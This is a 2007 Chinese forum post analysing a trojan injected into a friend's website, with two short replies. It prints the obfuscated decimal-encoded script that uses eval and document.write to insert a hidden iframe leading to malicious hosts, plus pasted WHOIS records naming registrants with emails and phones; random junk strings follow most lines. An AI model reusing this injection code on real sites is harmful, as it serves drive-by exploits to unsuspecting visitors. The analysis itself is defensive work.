社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5388阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, Kwc~\k  
Y!M&8;>  
http://www.areway.cn/?p=175 6rBXC <Z  
FQc8j:'  
-Re4G78%  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: n2<#]2h  
          V/ a!&_ ""  
<script>t=’60,105,102,114,97,109,101, s\7]"3:wD  
32,115,114,99,61,104,116,116,112,58,47,47, 2m$\]\kCUv  
102,114,101,101,46,117,45,117,117,117,46,99, EfTuHg$pe  
110,47,101,114,114,111,114,46,104,116,109, "oZ$/ap\  
32,119,105,100,116,104,61,49,48,48,32,104, A^ :/*  
101,105,103,104,116,61,48,62,60,47,105,102, HY (|31  
114,97,109,101,62′; )FF3|dZ";K  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ^U[c:Rz  
                                                                                                  L.5 /wg  
<script>t=’60,105,102,114,97,109,101,32,115, ,!m][  
114,99,61,104,116,116,112,58,47,47,102,114, VeLuL:4I  
101,101,46,117,45,117,117,117,46,99,110,47, #M9rt ~4  
101,114,114,111,114,46,104,116,109,32,119, zjuU*$A4  
105,100,116,104,61,49,48,48,32,104,101,105, t%xD epFQ  
103,104,116,61,48,62,60,47,105,102,114,97, F;I %9-R  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); {w,g~ew `  
document.write(t);</script> //[zUn  
                                                                                                  G)vq+L5%  
<html xmlns=” ,5tW|=0@  
http://www.w3.org/1999/xhtml 4P1<Zi+<  
“> n"p|tEK  
<head> =TTk5(m  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> m2j&v$  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Wr3).m52}P  
<title>首页 - 爱生活家庭网 5)IJ|"]y  
                                                                                                                                                    L)0j&  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 9e`.H0  
转换字符串后的大概内容是(谁点击后果自付): ?9F_E+!  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ~M>EB6  
                                                                                                                                  PNjZbOmzS  
查询玉米u-uuu.cn的详细信息:  2s+ITPr  
Domain Name: u-uuu.cn ~E]ct F  
ROID: 20070901s10001s64972306-cn o~ v   
Domain Status: ok S 54N  
Registrant Organization: 王雷 UUE:>[,  
Registrant Name: 王雷 ZSB_OS[N  
Administrative Email: czlovexs@126.com 1c$<z~  
Sponsoring Registrar: 北京万网志成科技有限公司 t[L_n m5-  
Name Server:ns.yovole.com `{1&*4!  
Name Server:ns1.yovole.com  `PV+.V}  
Registration Date: 2007-09-01 17:54 `oDs]90  
Expiration Date: 2008-09-01 17:54 Lc0 U-!{G  
最后PING了一下地址 都没有什么…. K`BNSdEN>  
                                                                                                o@p(8=x  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. dn"&j1@KY  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 2 /rDi  
<script language=”javascript” src=” TA x9<'  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *%{  
> M[;N6EJH  
这个玉米应该有可能是木马作者的: yMJY6$Ct  
foafau.info的详细信息: 13:yaRo  
Access to INFO WHOIS information is provided to assist persons in 0<,Q7onDD:  
determining the contents of a domain name registration record in the w2 L'j9  
Afilias registry database. The data in this record is provided by Z#2AK63/T  
Afilias Limited for informational purposes only, and Afilias does not yq?7!X  
guarantee its accuracy.  This service is intended only for query-based J?Ed^B-  
access. You agree that you will use this data only for lawful purposes Fj0a+r,h!  
and that, under no circumstances will you use this data to: (a) allow, S%+$  
enable, or otherwise support the transmission by e-mail, telephone, or ?8j#gYx2  
facsimile of mass unsolicited, commercial advertising or solicitations o(2tRDT\_b  
to entities other than the data recipient’s own existing customers; or &WqKsH$  
(b) enable high volume, automated, electronic processes that send 3Zr'Mn  
queries or data to the systems of Registry Operator, a Registrar, or Rk1B \L|M  
Afilias except as reasonably necessary to register domain names or sRM3G]nUr  
modify existing registrations. All rights reserved. Afilias reserves RR%[]M#_T  
the right to modify these terms at any time. By submitting this query, <@Lw '  
you agree to abide by this policy. fP6]z y^ *  
Domain ID:D22418703-LRMS $IuN(#  
Domain Name:FOAFAU.INFO #4?(A[]>H  
Created On:20-Nov-2007 16:05:42 UTC af:wg]g  
Last Updated On:20-Nov-2007 16:05:44 UTC ^kS44pr\Q  
Expiration Date:20-Nov-2008 16:05:42 UTC 0Hs\q!5Q  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) JOR ? xCc  
Status:CLIENT DELETE PROHIBITED g_2m["6*  
Status:CLIENT RENEW PROHIBITED w&M)ws;$  
Status:CLIENT TRANSFER PROHIBITED EmaVd+Sw  
Status:CLIENT UPDATE PROHIBITED ]h Dy]  
Status:TRANSFER PROHIBITED Kn#3^>D  
Registrant ID:GODA-040110615 p6VHa$[  
Registrant Name:liu hong W?(^|<W  
Registrant Organization: :%#(<@{  
Registrant Street1:beijing D92#&,KD  
Registrant Street2: 7_AR()CM  
Registrant Street3: |;L%hIR[  
Registrant City:beijing 5`ma#_zk|f  
Registrant State/Province: m &U $V  
Registrant Postal Code:100000 6.%V"l   
Registrant Country:CN " <GDOL  
Registrant Phone:+86.860108888777 \"E-z.wW=  
Registrant Phone Ext.: /K#t$O4  
Registrant FAX: `OY_v=}  
Registrant FAX Ext.: {kLL&`ii  
Registrant Email:bbbshiji@163.com l )hg!(  
Admin ID:GODA-240110615 8:BPXdiK  
Admin Name:liu hong :QSCky*i  
Admin Organization: /r4QDwu  
Admin Street1:beijing kUl:Yj=&  
Admin Street2: 2 |fN*Wm  
Admin Street3: lC/4CPKtV  
Admin City:beijing x?ajTzMv  
Admin State/Province: WSdTP$?  
Admin Postal Code:100000 ]-6=+\]   
Admin Country:CN J,8Wo6  
Admin Phone:+86.860108888777 I|6wPV?  
Admin Phone Ext.: #+1*g4m~B  
Admin FAX: |JpLMUG  
Admin FAX Ext.:  TP6iSF  
Admin Email:bbbshiji@163.com uZyR{~-C  
Billing ID:GODA-340110615 x)X=sX.  
Billing Name:liu hong %"R|tlG  
Billing Organization: sK#)wjj\^  
Billing Street1:beijing &^HqbLz  
Billing Street2: 1U"Fk3  
Billing Street3: 4= VAJ  
Billing City:beijing Bn7~p+N  
Billing State/Province: GEg8\  
Billing Postal Code:100000 `-l, `7e'  
Billing Country:CN 4{d`-reHg  
Billing Phone:+86.860108888777 W$x'+t5H  
Billing Phone Ext.: X-F|&yE~<  
Billing FAX: LL~bq(b  
Billing FAX Ext.: ! H)D@,@&  
Billing Email:bbbshiji@163.com wvAXt*R  
Tech ID:GODA-140110615 1/t}>>,M  
Tech Name:liu hong C<!%VHs  
Tech Organization: kfF.Ctr1a  
Tech Street1:beijing L0_qHLY  
Tech Street2: 83*"58  
Tech Street3: IxY%d}[uo  
Tech City:beijing JW!SrM xF  
Tech State/Province: Nz+Jf57t  
Tech Postal Code:100000 _kR,R"lh  
Tech Country:CN zOR  
Tech Phone:+86.860108888777 `(|jm$Q  
Tech Phone Ext.: @_&@M~ u  
Tech FAX: D0?l$]aE  
Tech FAX Ext.: QI@!QU$K&  
Tech Email:bbbshiji@163.com Y'NQt?h  
Name Server:NS27.DOMAINCONTROL.COM anj*a<C<  
Name Server:NS28.DOMAINCONTROL.COM . bh>_ W_h  
Name Server: b 469  
Name Server: z}'*zB>  
Name Server: a7#J af  
Name Server: Te`Z Qqb  
Name Server: $I%75IZ  
Name Server: XgUvgJ  
Name Server: ?XVJ$nzW  
Name Server: Lh~Ym<CeN  
Name Server: b??k|q  
Name Server: MtAD&+3$  
Name Server: \2!v~&S  
                                                                                                          RVmD&  
接着下载每个文件里面的代码: |okS7.|IX  
一步一步看.. g)+45w*+5  
2nOoG/6 E  
Cc:m~e6r  
Yt"&8N]  
pA9:1*+;;  
ms'!E)  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五